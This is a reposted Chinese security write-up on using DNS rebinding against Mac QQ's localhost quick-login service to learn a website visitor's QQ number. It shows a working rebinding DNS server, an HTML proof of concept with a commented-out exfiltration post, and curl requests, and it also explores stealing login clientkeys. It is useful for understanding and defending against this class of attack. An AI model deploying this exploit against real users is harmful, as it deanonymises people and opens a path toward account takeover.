通过 DNS Rebinding 获取访客 QQ 号

栏目: 编程工具 · 发布时间: 7年前

内容简介:通过 DNS Rebinding 获取访客 QQ 号

0x01 前言

在 V2EX 看到个有趣的帖子: 通过 QQ 客户端登录 Web 邮箱的身份认证漏洞

于是研究了一下自己 Mac 上打开 QQ 邮箱的流程,发现利用 QQ 快速登录的一些设计缺陷可以在 Web 端获取访客的 QQ 号,甚至有可能获取到访客的 clientkey 来登陆他的 QQ 邮箱、空间等(虽然最后遇到坑失败了 Orz)。

只有 Mac QQ 受影响。(文中提到的 QQ 版本: Windows QQ 轻聊版 7.9 ,Mac QQ MAS 版 5.4.1 ,文中部分参数在不影响阅读前提下经过处理)

0x02 初探

参考 How Does QQ Know Who I am ,首先看看 Mac 版 QQ 的监听端口:

$ lsof -n -P -i TCP -s TCP:LISTEN | grep 430
QQ        852 user   44u  IPv4 0x31f4b01c692c6bef      0t0  TCP 127.0.0.1:4300 (LISTEN)
QQ        852 user   45u  IPv4 0x31f4b01c692c59ff      0t0  TCP 127.0.0.1:4301 (LISTEN)

可以看到 QQ 默认监听了本地的 43004301 端口,这两个端口的区别就是前者是 HTTP 协议而后者是 HTTPS 的。

用户在网页端使用快速登录时,会先对这两个端口中的一个进行请求获取当前登陆的 QQ 号(多个 QQ 号的信息会一同返回):

http://localhost.ptlogin2.qq.com:4300/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123

https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123

测试发现 QQ 空间和邮箱的客户端快速登录用的是 4031 端口,而 www.qq.com 官网弹出的快速登录窗口用的又是 4300 端口,不明白为什么不统一使用更安全的 4031 端口。

如果没有从这两个默认端口获取到信息,快速登录的 SDK 会更换端口进行重试。比如接下来请求的 HTTP 的端口会依次是 4300、4302、4304、4306… HTTPS 的端口会依次是 4301、4303、4305、4307…

参考 QQ模拟登录实现后篇 ,重试请求最多五次。

在本机用 curl 模拟请求这个接口:

$ curl -v http://127.0.0.1:4300/pt_get_uins\?callback\=ptui_getuins_CB
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 4300 (#0)
> GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1
> Host: 127.0.0.1:4300
> User-Agent: curl/7.51.0
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Jun 2017 11:50:47 GMT
< Accept-Ranges: bytes
< Content-Length: 185
< Content-Type: Application/javascript
<
* Curl_http_done: called premature == 0
* Connection #0 to host 127.0.0.1 left intact
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list); 

$ curl -v https://127.0.0.1.xip.io:4301/pt_get_uins\?callback\=ptui_getuins_CB -k
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0)
* TLS 1.2 connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
* Server certificate: localhost.ptlogin2.qq.com
* Server certificate: GlobalSign Organization Validation CA - SHA256 - G2
* Server certificate: GlobalSign Root CA
> GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1
> Host: 127.0.0.1.xip.io:4301
> User-Agent: curl/7.51.0
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Jun 2017 11:33:07 GMT
< Accept-Ranges: bytes
< Content-Length: 185
< Content-Type: Application/javascript
<
* Curl_http_done: called premature == 0
* Connection #0 to host 127.0.0.1.xip.io left intact
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);

可以看到无论是 4300 和 4301 端口都“来者不拒”,并未做任何验证,这与 Windows 版 QQ 有很大区别。我们能不能利用它搞点事情呢?

不过和之前出现在百度的安卓 SDK 的 WormHole 漏洞不一样,QQ 监听的是本地端口,所以从外部是无法访问的。

所以如果想从 Web 发送请求到 127.0.0.1(localhost.ptlogin2.qq.com),肯定会被 同源策略(SOP) 给拦截掉。

0x03 DNS Rebinding

思考了一下绕过 SOP 的方法,想起来去年 SSRF 火热的时候流行的一个手段—— DNS Rebinding

可以参考 Ricterz 的用 DNS Rebinding 绕过域名 IP 校验的文章: Use DNS Rebinding to Bypass IP Restriction

同理我们也可以试着用 DNS Rebinding 欺骗浏览器从而绕过 SOP。

具体操作参考 关于 DNS-rebinding 的总结

先准备一个域名 xxx.net ,添加一条 NS 记录A 记录

通过 DNS Rebinding 获取访客 QQ 号

A 记录表示域名 ns.xxx.net 的 IP 地址是 45.77.11.22

NS 记录表示 rebind.xxx.net 这个子域名指定由 ns.xxx.net 这个域名服务器来解析。

然后在 ns.xxx.net 上搭建我们自定义的 DNS 服务器,代码如下:

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name

        if name not in record or record[name]<1:
            ip = "45.77.11.22"
        else:
            ip = "127.0.0.1"

        if name not in record:
            record[name] = 0
        record[name] += 1

        print name + " ===> " + ip

        answer = dns.RRHeader(
            name = name,
            type = dns.A,
            cls = dns.IN,
            ttl = 0,
            payload = dns.Record_A(address = b'%s' % ip, ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()

if __name__ == '__main__':
    raise SystemExit(main())

需要安装 twisted 库,如果 pip install twisted 不成功的话建议下载源码包然后 python setup.py install

以 Root 权限运行脚本(记得打开防火墙的 53 端口),DNS 服务器就搞定了。

接着写 PoC:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Rebind Test</title>
</head>
<body>
    <script src="//upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js"></script>
    <script>
    function GetUin(){
        $.ajax({
        url: "http://rebind.xxx.net:4300/pt_get_uins?callback=hello",
        type: "GET",
        dataType: "text",
        success: function(data){
            // $.post("http://xxxx", {'qq_uin': data})}
            alert(data);
            }
        });
    }
    // 让子弹飞一会儿
    setTimeout("GetUin()", 3000);
    </script>
</body>
</html>

保存为 index.html ,执行 python -m SimpleHTTPServer 4300 开启一个简单的 WebServer,

最后访问 http://rebind.xxx.net:4300 ,成功获得了访问用户的 QQ 信息:

通过 DNS Rebinding 获取访客 QQ 号

此时服务器上的日志:

通过 DNS Rebinding 获取访客 QQ 号

(因为浏览器会缓存 DNS 记录,所以测试时需要清理一下 chrome://net-internals/#dnschrome://net-internals/#sockets )。

0x04 深入

文章开头 V2EX 的帖子提到用 QQ 客户端打开邮箱时会生成一个包含 clientuinclientkey 的链接,任何人访问这个链接就能打开对应的 QQ 邮箱乃至 QQ 空间等其他腾讯业务。

想起来很久之前看过的一个漏洞: 你 Windows 上开着 QQ 点了我的链接我就进了你的 QQ 邮箱财付通等(任意腾讯 XSS 拿 QQ 的 clientkey)

这个漏洞主要是用 XSS偷 clientuin 和 clientkey,漏洞作者有提到一句话:

这个请求的 token 校验没有经过服务端验证,直接就是看 get 参数里的 pt_local_tk 是否和 cookie 中的 pt_local_token 相等

这样的话,攻击者就可以更轻松的去伪造请求让用户快速登陆。而且,理论上本机 localhost 上的任何软件都可以很轻易的伪造请求来获取当前登陆 QQ 的 clientkey

如果已经能在用户电脑上安装软件了,还用这种方法获取 clientkey 看起来多此一举。

那我们是不是也能用 DNS Rebinding 的方法得到 clientkey 呢?

继续分析快速登陆流程,获取到当前登陆的 QQ 号后,用户在页面点击自己的 QQ 头像,会请求

http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123
// 或
https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123

如果请求成功会返回包含 clientkey 的 Cookie。

但不幸的是这里检查了 Referer

// 简化的请求
GET /pt_get_st?clientuin=123456&callback=ptui_getst_CB HTTP/1.1
Host: localhost.ptlogin2.qq.com:4300
Connection: close
Referer: http://ptlogin2.qq.com

这个请求检查 Referer 是否来自 *.ptlogin2.qq.com*.ptlogin2.qcloud.com 等腾讯自己的域名,且二级域名必须是 ptlogin2 。否则就会 400 Bad Request:

通过 DNS Rebinding 获取访客 QQ 号

因为 JS 无法修改 Referer,所以需要一个白名单域下的 302 任意跳转或 XSS,或者浏览器层的 Referer 欺骗(如 Referrer spoofing with iframe injection )。

可惜找了一圈没找到可用的漏洞,只能先放着了。(话说呆子不开口提交漏洞报告后腾讯好像只是修复了 ui.ptlogin2.qq.com 的 XSS 漏洞,并没有对整个流程进行修改)

接着看了下 Windows 版 QQ,同样默认监听了本地的 4300 和 4301 端口:

$ netstat -an | findstr 430
  TCP    127.0.0.1:4300         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:4301         0.0.0.0:0              LISTENING

经测试 Windows 版 QQ 相比 Mac 版多了有三处变化:

  1. Referer 验证。Referer 必须来自于 *.qq.com*.tencent.com*.weiyun.com 等腾讯自己的域名。
  2. Cookie 验证。GET 参数中的 pt_local_tk 必须与 Cookie 中的 pt_local_token 相同。
  3. Hostname 验证。请求头中的 Host 必须是 localhost.ptlogin2.qq.com

第一个和第二个验证使从其他网站发送的 AJAX 请求无效,因为浏览器会拒绝修改 HTTP 头中的 Referer 和 Cookie :

通过 DNS Rebinding 获取访客 QQ 号

而第三个验证会让 DNS Rebinding 失效,因为我们控制的域名不可能和 localhost.ptlogin2.qq.com 一样。

一个简化的 Windows 版 QQ 请求本地 4301 端口内容:

GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1
Host: localhost.ptlogin2.qq.com:4301
Connection: close
Referer: http://test.qq.com
Cookie:  pt_local_token=123;

用 curl 模拟请求:

$ curl -i -v -s -k -X "GET" -H "Referer: http://test.qq.com" -b "pt_local_token=123" "https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123" --cacert "F:\ca-bundle.crt"
                                                                                   
* timeout on name lookup is not supported                                                   
*   Trying 127.0.0.1...                                                                     
* Connected to localhost.ptlogin2.qq.com (127.0.0.1) port 4301 (#0)                         
* ALPN, offering http/1.1                                                                   
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH              
* successfully set certificate verify locations:                                            
*   CAfile: F:\ca-bundle.crt                                            
  CApath: none                                                                              
* TLSv1.2 (OUT), TLS header, Certificate Status (22):                                       
* // 省略部分 TLS handshake ……                                        
* TLSv1.2 (IN), TLS handshake, Finished (20):                                               
* SSL connection using TLSv1.2 / AES256-GCM-SHA384                                          
* ALPN, server did not agree to a protocol                                                  
* Server certificate:                                                                       
*        subject: C=CN; ST=guangdong; L=shenzhen; O=Shenzhen Tencent Computer Systems Compan
y Limited; CN=localhost.ptlogin2.qq.com                                                     
*        start date: May 15 07:01:45 2017 GMT                                               
*        expire date: May 16 07:01:45 2018 GMT                                              
*        issuer: C=BE; O=GlobalSign nv-sa; CN=GlobalSign Organization Validation CA - SHA256
 - G2                                                                                       
*        SSL certificate verify result: unable to get local issuer certificate (20), continu
ing anyway.                                                                                 
> GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1                                  
> Host: localhost.ptlogin2.qq.com:4301                                                                                                                                  
> Cookie: pt_local_token=123                                                                                                     
> Referer: http://test.qq.com                                                               
>                                                                                           
< HTTP/1.1 200 OK                                                                                                                                                     
< Content-Type: Application/javascript                                                                                                      
< Content-Length: 176                                                                                                                                           
                                                                                            
<                                                                                           
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);

如果修改 hostname,虽然 IP 都是 127.0.0.1,依然会报错。

$ curl -i -s -k -v -X "GET" -H "Referer: http://test.qq.com"  -b "pt_local_token=123"  "https://127.0.0.1.xip.io:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123" --cacert "F:\ca-bundle.crt
* timeout on name lookup is not supported
*   Trying 127.0.0.1...
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0)
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
*   CAfile: F:\ca-bundle.crt
  CApath: none
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* Unknown SSL protocol error in connection to 127.0.0.1.xip.io:4301
* Closing connection 0

有了这三个验证,从 Web 端利用这个接口获取 Windows 访客 QQ 号就行不通了。

0x05 总结

QQ Mac 版和 Windows 版在实现快速登录的流程是一样的,但具体细节明显是 Windows 版更完善。

只监听本地端口并不意味着就不会受到外部的攻击,利用 DNS Rebinding 甚至可以 攻击开发者本地的数据库

目前对于 DNS Rebinding 没有太好的解决办法,主流浏览器有一个DNS 阻塞( DNS pinning )的机制。简单来说,就是某些包含特定端口(如 SMTP 和 IRC)的网站一旦被加载完成,浏览器就需要忽略其 DNS 的变化。所以除了依赖浏览器,程序在接收外部请求时也要严格验证其合法性。

0x06 参考


以上所述就是小编给大家介绍的《通过 DNS Rebinding 获取访客 QQ 号》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Blog Design Solutions

Blog Design Solutions

Richard Rutter、Andy Budd、Simon Collison、Chris J Davis、Michael Heilemann、Phil Sherry、David Powers、John Oxton / friendsofED / 2006-2-16 / USD 39.99

Blogging has moved rapidly from being a craze to become a core feature of the Internetfrom individuals sharing their thoughts with the world via online diaries, through fans talking about their favori......一起来看看 《Blog Design Solutions》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试